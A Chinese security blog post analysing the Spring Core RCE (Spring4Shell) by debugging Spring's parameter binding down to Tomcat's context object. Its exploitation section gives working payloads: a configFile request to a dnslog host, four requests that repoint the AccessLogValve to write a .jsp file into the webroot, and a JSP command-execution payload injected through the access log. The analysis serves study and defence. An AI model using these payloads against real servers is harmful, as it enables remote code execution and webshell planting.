Spring Core-RCE深入分析及步步调试出payload

admin 2025年2月24日12:56:39评论12 views字数 4708阅读15分41秒阅读模式

  既然Spring最新0day漏洞是绕过CVE-2010-1622的修复方式后产生的,那就从这个古老漏洞的本质:参数绑定入手,搭建环境进行调试。

1 Spring参数绑定

 首先了解下什么是Spring中的参数绑定,简单来说,springmvc中通过方法形参来接收页面请求的key/value数据,经过参数绑定,将key/value数据绑定到controller方法的形参上。

1.1 基本类型绑定

  首先举个例子,如果我们要实现这样一个基本的注册功能:

Spring Core-RCE深入分析及步步调试出payload

 需要先写一个User的POJO类/Bean类,包含基本的get/set方法:

Spring Core-RCE深入分析及步步调试出payload

  然后Controller类接负责收前台传输的三个String类型参数,这里如果不使用@RequestParam,要求request传入参数名称和controller方法的形参名称一致,方可绑定成功。如果使用@RequestParam,则不需要。

Spring Core-RCE深入分析及步步调试出payload

  中间封装一层Service,调用User类set方法实现赋值,完成参数绑定,如形参email对应User类email属性,并把数据传入数据库。

Spring Core-RCE深入分析及步步调试出payload

 最终在View层完成视图渲染,这样就完成了一个典型的SpringMVC开发。

Spring Core-RCE深入分析及步步调试出payload

1.2 对象绑定

  形参除了上述使用基本类型外,还可以直接使用POJO类。

  直接新增一个controller方法,形参为User实体,然后获取其值并打印:

Spring Core-RCE深入分析及步步调试出payload

 下面我们访问 http://127.0.0.1:8080/test?name=123,发现成功取到了值123,但代码里我们明明没有调用user.setName方法。

 这是因为spring mvc提供的字段映射功能会自动发现对象中的public方法和字段,如果提交的参数中出现了user类的一个public字段或方法,就自动绑定,并且允许用户提交请求给他赋值。

Spring Core-RCE深入分析及步步调试出payload

2  参数绑定流程

  参数绑定的整个流程如下图所示:

Spring Core-RCE深入分析及步步调试出payload

   要搞清楚漏洞原理我们需要搞清两个问题:

1)Spring是怎么找到Controller的方法并执行的?

2)获取到方法后如何获取到参数并进行参数绑定的?

 我们在spring的总入口DispatcherServlet.java的doDispatch方法处加上断点,一步步跟踪:

2.1 如何执行controller的方法?

1)用户请求经过tomcat处理后,调用Spring总入口DispatcherServlet.java的doDispath方法来路由处理http请求:

Spring Core-RCE深入分析及步步调试出payload

2)首先通过getHandler根据传入的request从容器中找到相应的handler,关键代码:

ha.handle(processedRequest, response, mappedHandler.getHandler());

Spring Core-RCE深入分析及步步调试出payload

3)通过HandlerAdapter的handle方法,进行统一调用,然后返回ModelAndView对象:

Spring Core-RCE深入分析及步步调试出payload

invokeHandlerMethod——>invokeAndHandle——>invokeForRequest——>doInvoke

Spring Core-RCE深入分析及步步调试出payload

 最终spring调用的是java.lang.reflect.Method类的invoke方法,两个关键参数:

  • target是UserController中的execute方法

  • args是刚刚解析出来的user对象

Spring Core-RCE深入分析及步步调试出payload

  这样就清楚了Spring是如何执行controller中的方法的。

2.2 如何进行参数绑定?

1)在invokeForRequest中,执行doInvoke方法之前先执行了getMethodArgumentValues操作,即参数相关操作:

resolveArgument——>bindRequestParameters——bind——>doBind

Spring Core-RCE深入分析及步步调试出payload

2)doBind方法具体实现数据绑定:

applyPropertyValues——>setPropertyValues——>setPropertyValue

Spring Core-RCE深入分析及步步调试出payload

  setPropertyValue调用递归函数getPropertyAccessorForPropertyPath获取参数值,循环查看参数中是否包含“.”,若存在则按“.”分割赋值给nestedProperty,pos为nestedProperty值的长度:

  如,如果我们发出请求http://127.0.0.1:8080/test?name.jayway,则第一次取到的nestedProperty即为name,pos为4:

Spring Core-RCE深入分析及步步调试出payload

  如果取到nestedProperty,则将其带到下面的数据流处理:

getNestedPropertyAccessor——>getPropertyValue——>getLocalPropertyHandler

   重点来了,这里会调用:

BeanWrapperImpl#getCachedIntrospectionResults().getPropertyDescriptor(propertyName)

 去这个缓存cache里去找我们输入的参数propertyName(即nestedProperty属性)是否在User的属性列表里,查看一下这个property列表,除了自动获取的User类的public方法和属性外,竟然还自带了一个class属性:

Spring Core-RCE深入分析及步步调试出payload

 这意味着,通过这个接口我们不仅可以操作User类,也可以操作任意class,换句话说,下面如果获取到classLoader那我们就可以执行任意对象,继续访问:http://127.0.0.1:8080/test?class.classLoader.xxxxx

Spring Core-RCE深入分析及步步调试出payload

  成功通过第一层判断,再次走到getPropertyAccessorForPropertyPath,第二次取值为classLoader,这次缓存列表里共有46个值,并不包含classLoader:

Spring Core-RCE深入分析及步步调试出payload

 但存在module,JDK9及以上版本可以通过class.module.classLoader获取classLoader,继续调试,发现classLoader可获取:

Spring Core-RCE深入分析及步步调试出payload

 继续:class.module.classLoader.xxx

Spring Core-RCE深入分析及步步调试出payload

 继续:class.module.classLoader.sources.xxx

Spring Core-RCE深入分析及步步调试出payload

  继续:class.module.classLoader.sources.context,成功获取到tomcat的context对象,下面漏洞利用的姿势就很多了。

Spring Core-RCE深入分析及步步调试出payload

  获取到context具体对象后最后会走到getValue:

Spring Core-RCE深入分析及步步调试出payload

  getValue中通过反射调用对象,完成整个数据绑定流程。这样漏洞原理也就清楚了,剩下的就是构造合适的利用链。

Spring Core-RCE深入分析及步步调试出payload

3 漏洞利用

3.1 POC调试

 以configFile为例,展开可见其最终调用的方法为org.apache.catalina.core.StandardContext#getConfigFile

Spring Core-RCE深入分析及步步调试出payload

 具体方法为:

Spring Core-RCE深入分析及步步调试出payload

 因此我们请求下面的链接即可触发一次URL请求:

http://127.0.0.1:8080/rce?class.module.classLoader.resources.context.configFile=http://spring-jayway.b0ul4q.dnslog.cn/test&class.module.classLoader.resources.context.configFile.content.aaa=xxx

 这个请求相当于执行了:

user.getclass().getclassLoader().getResources().getContext().getconFile()

Spring Core-RCE深入分析及步步调试出payload

 完整调用链:

Spring Core-RCE深入分析及步步调试出payload

3.2 EXP调试

   任意访问内部属性的漏洞场景,和CVE-2014-0094非常相似,可以直接借鉴其通过日志写shell思路:

https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/

Spring Core-RCE深入分析及步步调试出payload

  而经过上面调试,发现class.module.classLoader.sources.context可调用parent,即StandardContext的父类ContainerBase:

Spring Core-RCE深入分析及步步调试出payload

 访问ContainerBase的Pipeline属性:

Spring Core-RCE深入分析及步步调试出payload

 Pipeline的getFirst方法可获取Valve接口,有多种实现,包括AccessLogValve,这个类包含access日志的相关属性:

Spring Core-RCE深入分析及步步调试出payload

  通过修改日志文件的这四个配置,包括目录、后缀,我们就可以完成在日志文件中插入恶意jsp代码达到RCE:

Spring Core-RCE深入分析及步步调试出payload

  对应四个请求如下,依次访问即可成功修改日志属性:日志名改为jayway.jsp,目录改为tomcat根目录:

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=C:/tomcat/webapp/ROOT/

class.module.classLoader.resources.context.parent.pipeline.first.prefix=jayway

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

  访问http://127.0.0.1:8080/aaaa.jsp?a=<% Runtime.getRuntime().exec("calc");%>将恶意代码写入日志文件,访问日志文件jayway.jsp即可触发命令执行:

Spring Core-RCE深入分析及步步调试出payload

  Tomcat场景下漏洞利用方式不唯一,具体要看通过classLoader调用的类,危害不限于文件操作、DOS、网络请求(SSRF)、dos等。

4 漏洞总结

4.1 漏洞发现思路

  这个漏洞和CVE-2010-1622在本质上是一致的,都是由于对象参数的自动绑定引起,关键在于绑定过程中对象自带了class属性,导致用户可以访问任意class。

 同时JDK9以上存在class.module.classLoader,可绕过CVE-2010-1622的黑名单从而获取到classLoader,通过这个classLoader可访问到tomcat的context对象,最终任意修改tomcat内部属性,达成写webshell、dos等危害。

4.2 RCE前提

  • JDK版本>=9 (这个版本才能取到classLoader)

  • 使用对象绑定方式 (基本类型绑定场景不影响)

  • 使用Tomcat容器 (如果使用的是springboot,只能取到springboot的classLoader)

5 Refer:

https://www.inbreak.net/archives/377

https://blog.csdn.net/dingodingy/article/details/84705444

https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/

原文始发于微信公众号(卓文见识):Spring Core-RCE深入分析及步步调试出payload

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月24日12:56:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Core-RCE深入分析及步步调试出payloadhttps://cn-sec.com/archives/966849.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息